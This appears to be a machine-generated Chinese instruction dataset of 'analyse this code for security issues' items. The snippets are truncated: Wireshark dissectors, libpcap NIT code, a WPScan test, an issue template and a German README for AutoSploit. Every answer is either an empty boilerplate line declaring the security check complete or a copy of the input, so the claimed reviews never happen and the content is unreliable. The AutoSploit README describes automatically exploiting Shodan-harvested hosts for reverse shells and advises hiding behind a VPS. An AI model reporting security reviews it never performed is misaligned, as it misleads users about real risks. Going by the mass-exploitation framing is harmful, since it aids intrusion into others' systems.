Input:
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: feature request
assignees: ''
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-skype.c
 * Routines for the disassembly of Skype
 *
 * Copyright 2009 Joerg Mayer (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * Documentation that formed the basis of the packet decoding:
 * https://github.com/matthiasbock/OpenSkype/wiki/Skype's-UDP-Format
 * For additional information see:
 *     https://gitlab.com/wireshark/wireshark/-/wikis/Skype
 *
 *  TODO:
 *  - Authentication
 *  - TCP
 *  - Conversation stuff (to obtain external IPs for decryption)
 *  - Decryption (with given keys)
 *  - Test CRC check (requires working decryption)
 *  - Heuristics to reliably detect Skype traffic - most likely impossible
 *    to implement in Wireshark (see
 *    https://gitlab.com/wireshark/wireshark/-/wikis/Skype)
 *  - Improve tests
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/conversation.h>

void proto_register_skype(void);
void proto_reg_handoff_skype(void);

/* Things we may want to remember for a whole conversation */
typedef struct _skype_udp_conv_info_t {
	guint32 global_src_ip;
	guint32 global_dst_ip;
} skype_udp_conv_info_t;

/* protocol handles */
static int proto_skype = -1;

/* ett handles */
static int ett_skype = -1;

#define SKYPE_SOM_UNK_MASK	0xF0
#define SKYPE_SOM_TYPE_MASK	0x0F

/* hf elements */
/* Start of Message */
static int hf_skype_som_id = -1;
static int hf_skype_som_unk = -1;
static int hf_skype_som_type = -1;
/* Message body */
/* Unknown_0 */
static int hf_skype_unknown_0_unk1 = -1;
/* Payload */
static int hf_skype_payload_iv = -1;
static int hf_skype_payload_crc = -1;
static int hf_skype_payload_enc_data = -1;
/* Resend */
static int hf_skype_ffr_num = -1;
static int hf_skype_ffr_unk1 = -1;
static int hf_skype_ffr_iv = -1;
static int hf_skype_ffr_crc = -1;
static int hf_skype_ffr_enc_data = -1;
/* Nat info */
static int hf_skype_natinfo_srcip = -1;
static int hf_s...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-skype.c
 * Routines for the disassembly of Skype
 *
 * Copyright 2009 Joerg Mayer (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * Documentation that formed the basis of the packet decoding:
 * https://github.com/matthiasbock/OpenSkype/wiki/Skype's-UDP-Format
 * For additional information see:
 *     https://gitlab.com/wireshark/wireshark/-/wikis/Skype
 *
 *  TODO:
 *  - Authentication
 *  - TCP
 *  - Conversation stuff (to obtain external IPs for decryption)
 *  - Decryption (with given keys)
 *  - Test CRC check (requires working decryption)
 *  - Heuristics to reliably detect Skype traffic - most likely impossible
 *    to implement in Wireshark (see
 *    https://gitlab.com/wireshark/wireshark/-/wikis/Skype)
 *  - Improve tests
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/conversation.h>

void proto_register_skype(void);
void proto_reg_handoff_skype(void);

/* Things we may want to remember for a whole conversation */
typedef struct _skype_udp_conv_info_t {
	guint32 global_src_ip;
	guint32 global_dst_ip;
} skype_udp_conv_info_t;

/* protocol handles */
static int proto_skype = -1;

/* ett handles */
static int ett_skype = -1;

#define SKYPE_SOM_UNK_MASK	0xF0
#define SKYPE_SOM_TYPE_MASK	0x0F

/* hf elements */
/* Start of Message */
static int hf_skype_som_id = -1;
static int hf_skype_som_unk = -1;
static int hf_skype_som_type = -1;
/* Message body */
/* Unknown_0 */
static int hf_skype_unknown_0_unk1 = -1;
/* Payload */
static int hf_skype_payload_iv = -1;
static int hf_skype_payload_crc = -1;
static int hf_skype_payload_enc_data = -1;
/* Resend */
static int hf_skype_ffr_num = -1;
static int hf_skype_ffr_unk1 = -1;
static int hf_skype_ffr_iv = -1;
static int hf_skype_ffr_crc = -1;
static int hf_skype_ffr_enc_data = -1;
/* Nat info */
static int hf_skype_natinfo_srcip = -1;
static int hf_s...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# AutoSploit

Wie der Name vielleicht sagt, versucht Autosploit automatisiert Remote Hosts zu nutzen. Ziele können automatisch über Shodan, Censys oder Zoomeye gesammelt werden. Es wurden aber außerdem Optionen hinzugefügt, welche es erlauben, eigene Ziele oder Host-Listen hinzuzufügen. Die verfügbaren Metasploit-Module wurden ausgewählt, um die Ausführung von Remote-Code zu erleichtern und um zu versuchen, Reverse TCP Shells und/oder Meterpreter-Sessions zu erhalten.

**Sicherheitserwägung für den Betrieb**

Das Empfangen von Verbindungen über deine lokale Maschine ist vielleicht nicht die beste Idee für einen OPSEC-Standpunkt. Ziehe es stattdessen in Betracht, dieses Tool auf einem VPS auszuführen, welches alle benötigten Abhängigkeiten installiert hat.

Die neue Version von AutoSploit verfügt über ein Feature, welches dir erlaubt, eine Proxy zu setzen, bevor du dich verbindest, und einen benutzerdefinierten User-Agent zu verwenden.

# Hilfreiche Links

 - [Nutzung](https://github.com/NullArray/AutoSploit#usage)
 - [Installation](https://github.com/NullArray/AutoSploit#Installation)
 - [Abhängigkeiten](https://github.com/NullArray/AutoSploit#dependencies)
 - [Benutzerhandbuch](https://github.com/NullArray/AutoSploit/wiki)
   - [Nutzungsmöglichkeiten](https://github.com/NullArray/AutoSploit/wiki/Usage#usage-options)
   - [Screenshots](https://github.com/NullArray/AutoSploit/wiki/Examples-and-images)
   - [Bugs/Ideen melden](https://github.com/NullArray/AutoSploit/wiki/Bugs-and-ideas#bugs)
   - [Entwicklungsleitfäden](https://github.com/NullArray/AutoSploit/wiki/Development-information#development-of-autosploit)
 - [Shoutouts](https://github.com/NullArray/AutoSploit#acknowledgements)
 - [Entwicklung](https://github.com/NullArray/AutoSploit#active-development)
 - [Discord-Server](https://discord.gg/9BeeZQk)
 - [README-Übersetzungen](https://github.com/NullArray/AutoSploit#translations)

# Installation

AutoSploit zu installieren ist sehr einfach. Du kannst den neuest...


Instruction: 检查这段代码是否存在安全问题

Input:
# AutoSploit

Wie der Name vielleicht sagt, versucht Autosploit automatisiert Remote Hosts zu nutzen. Ziele können automatisch über Shodan, Censys oder Zoomeye gesammelt werden. Es wurden aber außerdem Optionen hinzugefügt, welche es erlauben, eigene Ziele oder Host-Listen hinzuzufügen. Die verfügbaren Metasploit-Module wurden ausgewählt, um die Ausführung von Remote-Code zu erleichtern und um zu versuchen, Reverse TCP Shells und/oder Meterpreter-Sessions zu erhalten.

**Sicherheitserwägung für den Betrieb**

Das Empfangen von Verbindungen über deine lokale Maschine ist vielleicht nicht die beste Idee für einen OPSEC-Standpunkt. Ziehe es stattdessen in Betracht, dieses Tool auf einem VPS auszuführen, welches alle benötigten Abhängigkeiten installiert hat.

Die neue Version von AutoSploit verfügt über ein Feature, welches dir erlaubt, eine Proxy zu setzen, bevor du dich verbindest, und einen benutzerdefinierten User-Agent zu verwenden.

# Hilfreiche Links

 - [Nutzung](https://github.com/NullArray/AutoSploit#usage)
 - [Installation](https://github.com/NullArray/AutoSploit#Installation)
 - [Abhängigkeiten](https://github.com/NullArray/AutoSploit#dependencies)
 - [Benutzerhandbuch](https://github.com/NullArray/AutoSploit/wiki)
   - [Nutzungsmöglichkeiten](https://github.com/NullArray/AutoSploit/wiki/Usage#usage-options)
   - [Screenshots](https://github.com/NullArray/AutoSploit/wiki/Examples-and-images)
   - [Bugs/Ideen melden](https://github.com/NullArray/AutoSploit/wiki/Bugs-and-ideas#bugs)
   - [Entwicklungsleitfäden](https://github.com/NullArray/AutoSploit/wiki/Development-information#development-of-autosploit)
 - [Shoutouts](https://github.com/NullArray/AutoSploit#acknowledgements)
 - [Entwicklung](https://github.com/NullArray/AutoSploit#active-development)
 - [Discord-Server](https://discord.gg/9BeeZQk)
 - [README-Übersetzungen](https://github.com/NullArray/AutoSploit#translations)

# Installation

AutoSploit zu installieren ist sehr einfach. Du kannst den neuest...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-sstp.c
 * routines for sstp packet dissasembly
 * - MS-SSTP:
 *
 *    https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sstp
 *
 * Created as part of a semester project at the University of Applied Sciences Hagenberg
 * (https://www.fh-ooe.at/en/hagenberg-campus/)
 *
 * Copyright (c) 2013:
 *   Hofer Manuel (manuel@mnlhfr.at)
 *   Nemeth Franz
 *   Scheipner Alexander
 *   Stiftinger Thomas
 *   Werner Sebastian
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-tcp.h"

void proto_register_sstp(void);
void proto_reg_handoff_sstp(void);

#define SSTP_BITMASK_MAJORVERSION 0xF0
#define SSTP_BITMASK_MINORVERSION 0x0F
#define SSTP_BITMASK_CONTROLFLAG 0x01
#define SSTP_BITMASK_LENGTH_RESERVED 0xF000
#define SSTP_BITMASK_LENGTH_LENGTH 0x0FFF
#define SSTP_CERT_HASH_PROTOCOL_SHA1 0x01
#define SSTP_CERT_HASH_PROTOCOL_SHA256 0x02
#define SSTP_ENCAPSULATED_PPP 0x0001

/* bytewise offsets inside the paket buffer */
#define SSTP_OFFSET_ATTRIBUTES    8
#define SSTP_OFFSET_DATA          4
#define SSTP_OFFSET_RESERVED      1
#define SSTP_OFFSET_ISCONTROL     1
#define SSTP_OFFSET_LENGTH        2
#define SSTP_OFFSET_MAJORVERSION  0
#define SSTP_OFFSET_MINORVERSION  0
#define SSTP_OFFSET_MSGTYPE       4
#define SSTP_OFFSET_NUMATTRIB     6

/* fieldsize in byte */
#define SSTP_FSIZE_ATTRIBUTE              4
#define SSTP_FSIZE_ATTRIB_ID              1
#define SSTP_FSIZE_ATTRIB_LENGTH          2
#define SSTP_FSIZE_ATTRIB_RESERVED        1
#define SSTP_FSIZE_CERT_HASH_SHA1         20
#define SSTP_FSIZE_CERT_HASH_SHA256       32
#define SSTP_FSIZE_COMPOUND_MAC_SHA1      20
#define SSTP_FSIZE_COMPOUND_MAC_SHA256    32
#define SSTP_FSIZE_ENCAPSULATED_PROTOCOL  2
#define SSTP_FSIZE_HASH_PROTOCOL          1
#define SSTP_FSIZE_HASH_PROTOCOL_BITMASK  1
#define SSTP_FSIZE_ISCONTROL              1
#define SSTP_FSIZE_LENGTH                 2
#define SSTP_FSIZE_MAJORVERSION           1
#define SSTP_FSIZE_MINORV...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-sstp.c
 * routines for sstp packet dissasembly
 * - MS-SSTP:
 *
 *    https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sstp
 *
 * Created as part of a semester project at the University of Applied Sciences Hagenberg
 * (https://www.fh-ooe.at/en/hagenberg-campus/)
 *
 * Copyright (c) 2013:
 *   Hofer Manuel (manuel@mnlhfr.at)
 *   Nemeth Franz
 *   Scheipner Alexander
 *   Stiftinger Thomas
 *   Werner Sebastian
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-tcp.h"

void proto_register_sstp(void);
void proto_reg_handoff_sstp(void);

#define SSTP_BITMASK_MAJORVERSION 0xF0
#define SSTP_BITMASK_MINORVERSION 0x0F
#define SSTP_BITMASK_CONTROLFLAG 0x01
#define SSTP_BITMASK_LENGTH_RESERVED 0xF000
#define SSTP_BITMASK_LENGTH_LENGTH 0x0FFF
#define SSTP_CERT_HASH_PROTOCOL_SHA1 0x01
#define SSTP_CERT_HASH_PROTOCOL_SHA256 0x02
#define SSTP_ENCAPSULATED_PPP 0x0001

/* bytewise offsets inside the paket buffer */
#define SSTP_OFFSET_ATTRIBUTES    8
#define SSTP_OFFSET_DATA          4
#define SSTP_OFFSET_RESERVED      1
#define SSTP_OFFSET_ISCONTROL     1
#define SSTP_OFFSET_LENGTH        2
#define SSTP_OFFSET_MAJORVERSION  0
#define SSTP_OFFSET_MINORVERSION  0
#define SSTP_OFFSET_MSGTYPE       4
#define SSTP_OFFSET_NUMATTRIB     6

/* fieldsize in byte */
#define SSTP_FSIZE_ATTRIBUTE              4
#define SSTP_FSIZE_ATTRIB_ID              1
#define SSTP_FSIZE_ATTRIB_LENGTH          2
#define SSTP_FSIZE_ATTRIB_RESERVED        1
#define SSTP_FSIZE_CERT_HASH_SHA1         20
#define SSTP_FSIZE_CERT_HASH_SHA256       32
#define SSTP_FSIZE_COMPOUND_MAC_SHA1      20
#define SSTP_FSIZE_COMPOUND_MAC_SHA256    32
#define SSTP_FSIZE_ENCAPSULATED_PROTOCOL  2
#define SSTP_FSIZE_HASH_PROTOCOL          1
#define SSTP_FSIZE_HASH_PROTOCOL_BITMASK  1
#define SSTP_FSIZE_ISCONTROL              1
#define SSTP_FSIZE_LENGTH                 2
#define SSTP_FSIZE_MAJORVERSION           1
#define SSTP_FSIZE_MINORV...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
 *	The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 */

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#include <sys/types.h>
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#include <net/if.h>
#include <net/nit.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>

#include <errno.h>
#include <stdio.h>

#include "pcap-int.h"

#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif

/*
 * The chunk size for NIT.  This is the amount of buffering
 * done for read calls.
 */
#define CHUNKSIZE (2*1024)

/*
 * The total buffer space used by NIT.
 */
#define BUFSPACE (4*CHUNKSIZE)

/* Forwards */
sta...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
 *	The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 */

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#include <sys/types.h>
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#include <net/if.h>
#include <net/nit.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>

#include <errno.h>
#include <stdio.h>

#include "pcap-int.h"

#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif

/*
 * The chunk size for NIT.  This is the amount of buffering
 * done for read calls.
 */
#define CHUNKSIZE (2*1024)

/*
 * The total buffer space used by NIT.
 */
#define BUFSPACE (4*CHUNKSIZE)

/* Forwards */
sta...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

describe WPScan::Finders::MainTheme::CssStyleInHomepage do
  subject(:finder) { described_class.new(target) }
  let(:target)     { WPScan::Target.new(url).extend(CMSScanner::Target::Server::Apache) }
  let(:url)        { 'http://wp.lab/' }
  let(:fixtures)   { FINDERS_FIXTURES.join('main_theme', 'css_style_in_homepage') }

  describe '#passive' do
    after do
      stub_request(:get, url).to_return(body: File.read(fixtures.join(fixture)))
      expect(finder.passive).to eql @expected
    end

    context 'when no in scope style' do
      let(:fixture) { 'no_in_scope_style.html' }

      it 'returns nil' do
        @expected = nil
      end
    end

    context 'when in scope style' do
      before do
        expect(target).to receive(:content_dir).at_least(1).and_return('wp-content')
        stub_request(:get, /.*.css/)
      end

      context 'when in a link href' do
        let(:fixture) { 'link_href.html' }

        it 'returns the expected theme' do
          @expected = WPScan::Model::Theme.new(
            'twentyfifteen',
            target,
            found_by: 'Css Style In Homepage (Passive Detection)',
            confidence: 70,
            style_url: 'http://wp.lab/wp-content/themes/twentyfifteen/style.css?ver=4.1.1'
          )
        end
      end

      context 'when in the style code' do
        let(:fixture) { 'style_code.html' }

        it 'returns the expected theme' do
          @expected = WPScan::Model::Theme.new(
            'custom',
            target,
            found_by: 'Css Style In Homepage (Passive Detection)',
            confidence: 70,
            style_url: 'http://wp.lab/wp-content/themes/custom/style.css'
          )
        end
      end
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

describe WPScan::Finders::MainTheme::CssStyleInHomepage do
  subject(:finder) { described_class.new(target) }
  let(:target)     { WPScan::Target.new(url).extend(CMSScanner::Target::Server::Apache) }
  let(:url)        { 'http://wp.lab/' }
  let(:fixtures)   { FINDERS_FIXTURES.join('main_theme', 'css_style_in_homepage') }

  describe '#passive' do
    after do
      stub_request(:get, url).to_return(body: File.read(fixtures.join(fixture)))
      expect(finder.passive).to eql @expected
    end

    context 'when no in scope style' do
      let(:fixture) { 'no_in_scope_style.html' }

      it 'returns nil' do
        @expected = nil
      end
    end

    context 'when in scope style' do
      before do
        expect(target).to receive(:content_dir).at_least(1).and_return('wp-content')
        stub_request(:get, /.*.css/)
      end

      context 'when in a link href' do
        let(:fixture) { 'link_href.html' }

        it 'returns the expected theme' do
          @expected = WPScan::Model::Theme.new(
            'twentyfifteen',
            target,
            found_by: 'Css Style In Homepage (Passive Detection)',
            confidence: 70,
            style_url: 'http://wp.lab/wp-content/themes/twentyfifteen/style.css?ver=4.1.1'
          )
        end
      end

      context 'when in the style code' do
        let(:fixture) { 'style_code.html' }

        it 'returns the expected theme' do
          @expected = WPScan::Model::Theme.new(
            'custom',
            target,
            found_by: 'Css Style In Homepage (Passive Detection)',
            confidence: 70,
            style_url: 'http://wp.lab/wp-content/themes/custom/style.css'
          )
        end
      end
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-zbee-zcl-se.c
 * Dissector routines for the ZigBee ZCL SE clusters like
 * Messaging
 * By Fabio Tarabelloni <fabio.tarabelloni@reloc.it>
 * Copyright 2013 RELOC s.r.l.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*  Include Files */
#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/to_str.h>

#include "packet-zbee.h"
#include "packet-zbee-aps.h"
#include "packet-zbee-zcl.h"
#include "packet-zbee-security.h"

/* ########################################################################## */
/* #### common to all SE clusters ########################################### */
/* ########################################################################## */

#define ZBEE_ZCL_SE_ATTR_REPORT_PENDING                     0x00
#define ZBEE_ZCL_SE_ATTR_REPORT_COMPLETE                    0x01

static const value_string zbee_zcl_se_reporting_status_names[] = {
    { ZBEE_ZCL_SE_ATTR_REPORT_PENDING,                   "Pending" },
    { ZBEE_ZCL_SE_ATTR_REPORT_COMPLETE,                  "Complete" },
    { 0, NULL }
};

/**
 *Dissect a ZigBee Date
 *
 *@param tvb pointer to buffer containing raw packet.
 *@param tree pointer to data tree Wireshark uses to display packet.
 *@param offset pointer to buffer offset
 *@param subtree_name name for the subtree
 *@param idx one of the ett_ array elements registered with proto_register_subtree_array()
 *@param hfindex_yy year field
 *@param hfindex_mm month field
 *@param hfindex_md month day field
 *@param hfindex_wd week day field
*/
static void dissect_zcl_date(tvbuff_t *tvb, proto_tree *tree, guint *offset,
                             gint idx, const char* subtree_name, int hfindex_yy, int hfindex_mm, int hfindex_md,
                             int hfindex_wd)
{
    guint8 yy;
    proto_tree* subtree;

    /* Add subtree */
    subtree = proto_tr...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-zbee-zcl-se.c
 * Dissector routines for the ZigBee ZCL SE clusters like
 * Messaging
 * By Fabio Tarabelloni <fabio.tarabelloni@reloc.it>
 * Copyright 2013 RELOC s.r.l.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*  Include Files */
#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/to_str.h>

#include "packet-zbee.h"
#include "packet-zbee-aps.h"
#include "packet-zbee-zcl.h"
#include "packet-zbee-security.h"

/* ########################################################################## */
/* #### common to all SE clusters ########################################### */
/* ########################################################################## */

#define ZBEE_ZCL_SE_ATTR_REPORT_PENDING                     0x00
#define ZBEE_ZCL_SE_ATTR_REPORT_COMPLETE                    0x01

static const value_string zbee_zcl_se_reporting_status_names[] = {
    { ZBEE_ZCL_SE_ATTR_REPORT_PENDING,                   "Pending" },
    { ZBEE_ZCL_SE_ATTR_REPORT_COMPLETE,                  "Complete" },
    { 0, NULL }
};

/**
 *Dissect a ZigBee Date
 *
 *@param tvb pointer to buffer containing raw packet.
 *@param tree pointer to data tree Wireshark uses to display packet.
 *@param offset pointer to buffer offset
 *@param subtree_name name for the subtree
 *@param idx one of the ett_ array elements registered with proto_register_subtree_array()
 *@param hfindex_yy year field
 *@param hfindex_mm month field
 *@param hfindex_md month day field
 *@param hfindex_wd week day field
*/
static void dissect_zcl_date(tvbuff_t *tvb, proto_tree *tree, guint *offset,
                             gint idx, const char* subtree_name, int hfindex_yy, int hfindex_mm, int hfindex_md,
                             int hfindex_wd)
{
    guint8 yy;
    proto_tree* subtree;

    /* Add subtree */
    subtree = proto_tr...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-btrfcomm.c
 * Routines for Bluetooth RFCOMM protocol dissection
 * and RFCOMM based profile dissection:
 *    - Dial-Up Networking Profile (DUN)
 *    - Serial Port Profile (SPP)
 *    - Global Navigation Satellite System (GNSS)
 *
 * Copyright 2002, Wolfgang Hansmann <hansmann@cs.uni-bonn.de>
 *
 * Refactored for wireshark checkin
 *   Ronnie Sahlberg 2006
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/uat.h>
#include <epan/decode_as.h>
#include <epan/proto_data.h>

#include "packet-bluetooth.h"
#include "packet-btsdp.h"
#include "packet-btl2cap.h"
#include "packet-btrfcomm.h"

static int hf_pf = -1;
static int hf_ea = -1;
static int hf_len = -1;
static int hf_frame_type = -1;
static int hf_cr = -1;
static int hf_dlci = -1;
static int hf_channel = -1;
static int hf_direction = -1;
static int hf_priority = -1;
static int hf_error_recovery_mode = -1;
static int hf_max_frame_size = -1;
static int hf_max_retrans = -1;
static int hf_fc_credits = -1;

static int hf_mcc_pn_parameters = -1;
static int hf_pn_i14 = -1;
static int hf_pn_c14 = -1;

static int hf_mcc = -1;
static int hf_mcc_types = -1;
static int hf_mcc_len = -1;
static int hf_mcc_ea = -1;
static int hf_mcc_cr = -1;
static int hf_mcc_cmd = -1;

static int hf_msc_parameters = -1;
static int hf_msc_fc = -1;
static int hf_msc_rtc = -1;
static int hf_msc_rtr = -1;
static int hf_msc_ic = -1;
static int hf_msc_dv = -1;
static int hf_msc_l = -1;
static int hf_msc_break_bits = -1;

static int hf_fcs = -1;

static int hf_dun_at_cmd = -1;
static int hf_spp_data = -1;
static int hf_gnss_data = -1;

static int hf_mcc_dlci = -1;
static int hf_mcc_channel = -1;
static int hf_mcc_direction = -1;
static int hf_mcc_const_1 = -1;

static int hf_mcc_pn_dlci = -1;
static int hf_mcc_pn_channel ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-btrfcomm.c
 * Routines for Bluetooth RFCOMM protocol dissection
 * and RFCOMM based profile dissection:
 *    - Dial-Up Networking Profile (DUN)
 *    - Serial Port Profile (SPP)
 *    - Global Navigation Satellite System (GNSS)
 *
 * Copyright 2002, Wolfgang Hansmann <hansmann@cs.uni-bonn.de>
 *
 * Refactored for wireshark checkin
 *   Ronnie Sahlberg 2006
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/uat.h>
#include <epan/decode_as.h>
#include <epan/proto_data.h>

#include "packet-bluetooth.h"
#include "packet-btsdp.h"
#include "packet-btl2cap.h"
#include "packet-btrfcomm.h"

static int hf_pf = -1;
static int hf_ea = -1;
static int hf_len = -1;
static int hf_frame_type = -1;
static int hf_cr = -1;
static int hf_dlci = -1;
static int hf_channel = -1;
static int hf_direction = -1;
static int hf_priority = -1;
static int hf_error_recovery_mode = -1;
static int hf_max_frame_size = -1;
static int hf_max_retrans = -1;
static int hf_fc_credits = -1;

static int hf_mcc_pn_parameters = -1;
static int hf_pn_i14 = -1;
static int hf_pn_c14 = -1;

static int hf_mcc = -1;
static int hf_mcc_types = -1;
static int hf_mcc_len = -1;
static int hf_mcc_ea = -1;
static int hf_mcc_cr = -1;
static int hf_mcc_cmd = -1;

static int hf_msc_parameters = -1;
static int hf_msc_fc = -1;
static int hf_msc_rtc = -1;
static int hf_msc_rtr = -1;
static int hf_msc_ic = -1;
static int hf_msc_dv = -1;
static int hf_msc_l = -1;
static int hf_msc_break_bits = -1;

static int hf_fcs = -1;

static int hf_dun_at_cmd = -1;
static int hf_spp_data = -1;
static int hf_gnss_data = -1;

static int hf_mcc_dlci = -1;
static int hf_mcc_channel = -1;
static int hf_mcc_direction = -1;
static int hf_mcc_const_1 = -1;

static int hf_mcc_pn_dlci = -1;
static int hf_mcc_pn_channel ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* busmaster.c
 *
 * Wiretap Library
 * Copyright (c) 1998 by Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * Support for Busmaster log file format
 * Copyright (c) 2019 by Maksim Salau <maksim.salau@gmail.com>
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#include <wtap-int.h>
#include <file_wrappers.h>
#include <epan/dissectors/packet-socketcan.h>
#include <wsutil/exported_pdu_tlvs.h>
#include "busmaster.h"
#include "busmaster_priv.h"
#include <inttypes.h>
#include <string.h>
#include <errno.h>

static void
busmaster_close(wtap *wth);

static gboolean
busmaster_read(wtap   *wth, wtap_rec *rec, Buffer *buf,
               int    *err, gchar **err_info,
               gint64 *data_offset);

static gboolean
busmaster_seek_read(wtap     *wth, gint64 seek_off,
                    wtap_rec *rec, Buffer *buf,
                    int      *err, gchar **err_info);

static int busmaster_file_type_subtype = -1;

void register_busmaster(void);

/*
 * See
 *
 *    http://rbei-etas.github.io/busmaster/
 *
 * for the BUSMASTER software.
 */

static gboolean
busmaster_gen_packet(wtap_rec               *rec, Buffer *buf,
                     const busmaster_priv_t *priv_entry, const msg_t *msg,
                     int                    *err, gchar **err_info)
{
    time_t secs     = 0;
    guint32  nsecs  = 0;
    gboolean has_ts = FALSE;
    gboolean is_fd  = (msg->type == MSG_TYPE_STD_FD)
        || (msg->type == MSG_TYPE_EXT_FD);
    gboolean is_eff = (msg->type == MSG_TYPE_EXT)
        || (msg->type == MSG_TYPE_EXT_RTR)
        || (msg->type == MSG_TYPE_EXT_FD);
    gboolean is_rtr = (msg->type == MSG_TYPE_STD_RTR)
        || (msg->type == MSG_TYPE_EXT_RTR);
    gboolean is_err = (msg->type == MSG_TYPE_ERR);

